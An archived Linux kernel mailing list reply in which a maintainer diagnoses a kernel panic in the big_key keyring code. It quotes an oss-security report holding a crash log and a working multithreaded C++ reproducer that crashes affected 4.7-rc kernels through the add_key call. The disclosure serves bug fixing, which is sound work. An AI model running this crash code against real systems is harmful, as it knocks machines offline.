From: David Howells <dhowells@redhat.com>
To: Greg KH <gregkh@linuxfoundation.org>,
Kirill Marinushkin <k.marinushkin@gmail.com>
Cc: dhowells@redhat.com, James Morris <james.l.morris@oracle.com>,
"Serge E. Hallyn" <serge@hallyn.com>,
zer0mem@yahoo.com, keyrings@vger.kernel.org,
linux-security-module@vger.kernel.org,
linux-kernel@vger.kernel.org
Subject: Re: [zer0mem@yahoo.com: [oss-security] panic at big_key_preparse #4.7-r6/rc7 & master]
Date: Tue, 26 Jul 2016 23:45:13 +0100 [thread overview]
Message-ID: <4897.1469573113@warthog.procyon.org.uk> (raw)
In-Reply-To: <20160722214155.GA13726@kroah.com>
Greg KH <gregkh@linuxfoundation.org> wrote:
> David, here's a bug report with reproducer that was sent to the
> oss-security mailing list for some unknown reason earlier today.
>
> Any ideas?
I think may have figured it out: big_key_crypto_init() may fail even though
big_key_init() succeeds (and also vice versa). The problem with this is that
big_key_rng and big_key_blkcipher are left set to NULL, but the big_key type
is still registered and there are no checks in the big_key crypto code for
this.
I can't say for certain that this is that actual cause as I haven't managed to
reproduce it, but the insertion of a pr_err() or a panic() in
big_key_crypto_init()'s error path should catch it if this is the case.
Possibly the crypto layer did print a message about missing crypto that can be
found amongst the kernel output.
Kirill: We should definitely print an error on failure during init. How we
proceed after that can be argued a couple of different ways. We could
deregister the key type, but it might be better to call big_key_crypto_init()
from big_key_init() before registering the type and make all the
initialisation to late_initcall. This shouldn't be a problem as I don't
forsee us needing to create big_key type keys from within the kernel.
Is it also possible there's some crypto component we need beyond AES, ECB and
RNG?
David
> thanks,
>
> greg k-h
>
>
> ------- Forwarded Message
>
> Date: Fri, 22 Jul 2016 22:54:09 +0800
> From: zer0mem@yahoo.com
> To: "oss-security@lists.openwall.com" <oss-security@lists.openwall.com>
> Cc: "cve-assign@mitre.org" <cve-assign@mitre.org>, Marco Grassi <marco.gra@gmail.com>
> Subject: [oss-security] panic at big_key_preparse #4.7-r6/rc7 & master
>
> Hi,
>
> Following code will panic 4.7-rc6/rc7 & master
>
> However will not panic at latest stable 4.6.4 kernel apparently
>
>
> qemu + kasan
>
>
> /*
>
> author : @zer0mem
>
> Qilin : v3.2 [ linux ]
> Reproducer : v1.0
>
> KASAN : active
> KTSAN : non-active
>
> Linux Kernel version : 4.7
>
> compile : clang++-3.8 -std=c++1y poc.cpp -lpthread -o big_key_poc
>
> issue : add_key -> "big_key"
>
> [94011.624218] kasan: CONFIG_KASAN_INLINE enabled
> [94011.624507] kasan: GPF could be caused by NULL-ptr deref or user memory access
> [94011.624930] general protection fault: 0000 [#1] SMP KASAN
> [94011.625234] Modules linked in:
> [94011.625421] CPU: 0 PID: 13245 Comm: a.out Tainted: G B 4.7.0-rc6+ #9
> [94011.625837] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Ubuntu-1.8.2-1ubuntu1 04/01/2014
> [94011.626363] task: ffff880013b1d580 ti: ffff8800693d8000 task.ti: ffff8800693d8000
> [94011.626778] RIP: 0010:[<ffffffff819e6e64>] [<ffffffff819e6e64>] big_key_preparse+0x1a4/0x540
> [94011.627262] RSP: 0018:ffff8800693dfc90 EFLAGS: 00010206
> [94011.627559] RAX: dffffc0000000000 RBX: ffff8800693dfdc8 RCX: 0000000000000000
> [94011.627956] RDX: 0000000000000009 RSI: 0000000000000000 RDI: 0000000000000048
> [94011.628356] RBP: ffff8800693dfcc8 R08: ffffed000d27bfc2 R09: ffff8800693dfdc8
> [94011.628752] R10: ffff8800693dfe0f R11: ffffed000d27bfc2 R12: 0000000000000000
> [94011.629149] R13: 0000000000000f50 R14: ffff8800693dfe48 R15: ffff8800693dfdf0
> [94011.629547] FS: 00007faf577fe700(0000) GS:ffff88006d200000(0000) knlGS:0000000000000000
> [94011.629994] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
> [94011.630361] CR2: 0000000000609000 CR3: 000000006a9bd000 CR4: 00000000000006f0
> [94011.630812] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
> [94011.631223] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
> [94011.631633] Stack:
> [94011.631755] ffff8800693dfdc8 0000000000000048 ffffffff819e6cc0 1ffff1000d27bfa5
> [94011.632349] ffffffffffffffec ffff8800693dfe48 ffff88005098b400 ffff8800693dfe70
> [94011.633063] ffffffff819d5a81 0000000000000004 ffff8800693dfd30 ffff8800693dfdc8
> [94011.633550] Call Trace:
> [94011.633702] [<ffffffff819e6cc0>] ? big_key_crypt+0x2a0/0x2a0
> [94011.634034] [<ffffffff819d5a81>] key_create_or_update+0x361/0xa00
> [94011.634389] [<ffffffff819d5720>] ? key_type_lookup+0xe0/0xe0
> [94011.634719] [<ffffffff815c3609>] ? ___slab_alloc+0x179/0x4c0
> [94011.635050] [<ffffffff815c5643>] ? __kmalloc+0x103/0x250
> [94011.635360] [<ffffffff819da6e4>] SyS_add_key+0x1f4/0x390
> [94011.635671] [<ffffffff819da4f0>] ? key_get_type_from_user.constprop.8+0xe0/0xe0
> [94011.636106] [<ffffffff81083d40>] ? compat_start_thread+0x90/0x90
> [94011.636457] [<ffffffff82d36af6>] entry_SYSCALL_64_fastpath+0x1e/0xa8
> [94011.636823] Code: 5c 41 5d 41 5e 41 5f 5d c3 e8 89 f1 98 ff 4c 8b 25 32 cb 47 02 48 b8 00 00 00 00 00 fc ff df 49 8d 7c 24 48 48 89 fa 48 c1 ea 03 <80> 3c 02 00 0f 85 78 03 00 00 4d 8b 64 24 48 48 b8 00 00 00 00
> [94011.638412] RIP [<ffffffff819e6e64>] big_key_preparse+0x1a4/0x540
> [94011.638775] RSP <ffff8800693dfc90>
> [94011.639205] ---[ end trace 0255e2496c208fbf ]---
> [94011.639474] Kernel panic - not syncing: Fatal exception
> [94011.639855] Kernel Offset: disabled
> [94011.640066] ---[ end Kernel panic - not syncing: Fatal exception
>
> */
>
> #include <stdint.h>
>
> #include <memory>
> #include <algorithm>
> #include <functional>
> #include <string>
> #include <atomic>
> #include <stdlib.h>
> #include <vector>
> #include <stdlib.h>
> #include <stdio.h>
>
> #include <thread>
>
> #include <sys/types.h>
> #include <sys/wait.h>
> #include <unistd.h>
> #include <pthread.h>
> #include <sched.h>
> #include <signal.h>
> #include <fcntl.h>
>
> #include <keyutils.h>
>
> int handles[0x10] = { 0 };
> char buffer[0x1000] = { 0 };
>
> bool rand01() { return std::rand() % 2; }
>
> void shaka()
> {
> for (size_t i = 0; i < sizeof(buffer); ++i)
> buffer[i] = std::rand() % 0xFF;
>
> while (true)
> {
> for (size_t i = std::rand() % sizeof(buffer); i < sizeof(buffer); ++i)
> buffer[i] = std::rand() % 0xFF;
>
> sleep(std::rand() % 10);
> }
> }
>
> void workers(int fd)
> {
> size_t max_round = 40 + std::rand() % 200;
> for (size_t i = 0; i < max_round; i++)
> {
> switch(std::rand() % 1)
> {
> case 0 :
> {
> add_key(
> rand01() ? "user" : "big_key",
> 0,
> buffer,
> std::rand() % sizeof(buffer),
> handles[std::rand() % 0x10]);
>
> } break;
>
> default:
> break;
> }
> }
> }
>
> void ctors(int ind)
> {
> handles[ind] = 0;
> while (!handles[ind])
> {
> switch(std::rand() % 1)
> {
> case 0 :
> {
> handles[ind] = add_key(
> rand01() ? "user" : "big_key",
> 0,
> buffer,
> std::rand() % sizeof(buffer),
> handles[std::rand() % 0x10]);
> } break;
>
> default:
> break;
> }
> }
> int fd = handles[ind];
> for (size_t i = 0; i < 20; ++i, sleep(1 + std::rand() % 4))
> for (size_t j = std::rand() % 4; j; --j)
> workers(fd);
> }
>
> int main()
> {
> std::thread(shaka).detach();
> for (;; sleep(std::rand() % 4))
> std::thread([]()
> {
> for (size_t i = 0; i < 0x10; ++i)
> std::thread(ctors, i).detach();
> }).detach();
>
> return 0;
> };
>
> #include <asm/unistd.h>
>
> #define __weak __attribute__((weak))
>
> key_serial_t __weak add_key(const char *type,
> const char *description,
> const void *payload,
> size_t plen,
> key_serial_t ringid)
> {
> return syscall(__NR_add_key,
> type, description, payload, plen, ringid);
> }
>
>
>
> Peter
>
> Sent from Mail for Windows 10
next prev parent reply other threads:[~2016-07-26 22:45 UTC|newest]
Thread overview: 15+ messages / expand[flat|nested] mbox.gz Atom feed top
2016-07-22 21:41 [zer0mem@yahoo.com: [oss-security] panic at big_key_preparse #4.7-r6/rc7 & master] Greg KH
2016-07-25 13:00 ` David Howells
[not found] ` <531421.11642.bm@smtp201.mail.bf1.yahoo.com>
2016-07-25 21:45 ` David Howells
[not found] ` <47074.85917.bm@smtp228.mail.bf1.yahoo.com>
2016-07-26 7:45 ` David Howells
2016-07-26 9:17 ` Vegard Nossum
2016-07-26 10:12 ` David Howells
2016-07-25 13:06 ` David Howells
2016-07-25 15:27 ` David Howells
2016-07-25 20:17 ` Greg KH
2016-07-26 22:45 ` David Howells [this message]
2016-08-25 22:08 ` Kirill Marinushkin
2016-07-27 13:23 ` [RFC][PATCH] KEYS: Sort out big_key initialisation David Howells
2016-08-10 18:20 ` Kirill Marinushkin
2016-08-11 19:48 ` Kirill Marinushkin
2016-08-27 10:22 ` [zer0mem@yahoo.com: [oss-security] panic at big_key_preparse #4.7-r6/rc7 & master] Kirill Marinushkin
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
Avoid top-posting and favor interleaved quoting:
https://en.wikipedia.org/wiki/Posting_style#Interleaved_style
* Reply using the --to, --cc, and --in-reply-to
switches of git-send-email(1):
git send-email \
--in-reply-to=4897.1469573113@warthog.procyon.org.uk \
--to=dhowells@redhat.com \
--cc=gregkh@linuxfoundation.org \
--cc=james.l.morris@oracle.com \
--cc=k.marinushkin@gmail.com \
--cc=keyrings@vger.kernel.org \
--cc=linux-kernel@vger.kernel.org \
--cc=linux-security-module@vger.kernel.org \
--cc=serge@hallyn.com \
--cc=zer0mem@yahoo.com \
/path/to/YOUR_REPLY
https://kernel.org/pub/software/scm/git/docs/git-send-email.html
* If your mail client supports setting the In-Reply-To header
via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line
before the message body.
This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.